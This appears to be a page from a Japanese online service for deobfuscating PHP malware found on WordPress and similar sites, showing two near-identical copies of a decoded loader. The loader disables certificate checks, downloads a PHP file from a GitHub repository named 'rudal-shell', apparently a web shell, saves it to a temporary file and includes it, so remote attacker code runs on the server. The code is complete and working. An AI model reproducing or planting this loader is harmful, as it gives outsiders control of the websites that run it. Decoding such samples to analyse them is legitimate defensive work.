Wordpress 等でのPHPのマルウェア・ウィルス・改ざんコードをデコードして難読化をオンラインで解除し、
元の読みやすいコードに戻し解読できます。
<?php // Enable error reporting for debugging purposes error_reporting(E_ALL); ini_set('display_errors', 1); function geturlsinfo($url) { if (function_exists('curl_exec')) { $conn = curl_init($url); curl_setopt($conn, CURLOPT_RETURNTRANSFER, 1); curl_setopt($conn, CURLOPT_FOLLOWLOCATION, 1); curl_setopt($conn, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows NT 6.1; rv:32.0) Gecko/20100101 Firefox/32.0"); curl_setopt($conn, CURLOPT_SSL_VERIFYPEER, 0); curl_setopt($conn, CURLOPT_SSL_VERIFYHOST, 0); $url_get_contents_data = curl_exec($conn); if (curl_errno($conn)) { echo 'Curl error: ' . curl_error($conn); return false; } curl_close($conn); } elseif (function_exists('file_get_contents')) { $url_get_contents_data = file_get_contents($url); if ($url_get_contents_data === false) { echo 'file_get_contents error'; return false; } } elseif (function_exists('fopen') && function_exists('stream_get_contents')) { $handle = fopen($url, "r"); if ($handle === false) { echo 'fopen error'; return false; } $url_get_contents_data = stream_get_contents($handle); fclose($handle); } else { $url_get_contents_data = false; } return $url_get_contents_data; } // Directly execute the main content $a = geturlsinfo('https://raw.githubusercontent.com/INDOHAXSEC/rudal-shell/refs/heads/main/selbaru.php'); if ($a !== false) { $tmp_file = sys_get_temp_dir() . '/temp_' . uniqid() . '.php'; file_put_contents($tmp_file, $a); include($tmp_file); // Do not delete the temporary file } else { echo "Failed to retrieve content."; } ?>
<?php // Enable error reporting for debugging purposes error_reporting(E_ALL); ini_set('display_errors', 1); function geturlsinfo($url) { if (function_exists('curl_exec')) { $conn = curl_init($url); curl_setopt($conn, CURLOPT_RETURNTRANSFER, 1); curl_setopt($conn, CURLOPT_FOLLOWLOCATION, 1); curl_setopt($conn, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows NT 6.1; rv:32.0) Gecko/20100101 Firefox/32.0"); curl_setopt($conn, CURLOPT_SSL_VERIFYPEER, 0); curl_setopt($conn, CURLOPT_SSL_VERIFYHOST, 0); $url_get_contents_data = curl_exec($conn); if (curl_errno($conn)) { echo 'Curl error: ' . curl_error($conn); return false; } curl_close($conn); } elseif (function_exists('file_get_contents')) { $url_get_contents_data = file_get_contents($url); if ($url_get_contents_data === false) { echo 'file_get_contents error'; return false; } } elseif (function_exists('fopen') && function_exists('stream_get_contents')) { $handle = fopen($url, "r"); if ($handle === false) { echo 'fopen error'; return false; } $url_get_contents_data = stream_get_contents($handle); fclose($handle); } else { $url_get_contents_data = false; } return $url_get_contents_data; } // Directly execute the main content $a = geturlsinfo('https://raw.githubusercontent.com/INDOHAXSEC/rudal-shell/refs/heads/main/selbaru.php'); if ($a !== false) { $tmp_file = sys_get_temp_dir() . '/temp_' . uniqid() . '.php'; file_put_contents($tmp_file, $a); include $tmp_file; // Do not delete the temporary file } else { echo "Failed to retrieve content."; }
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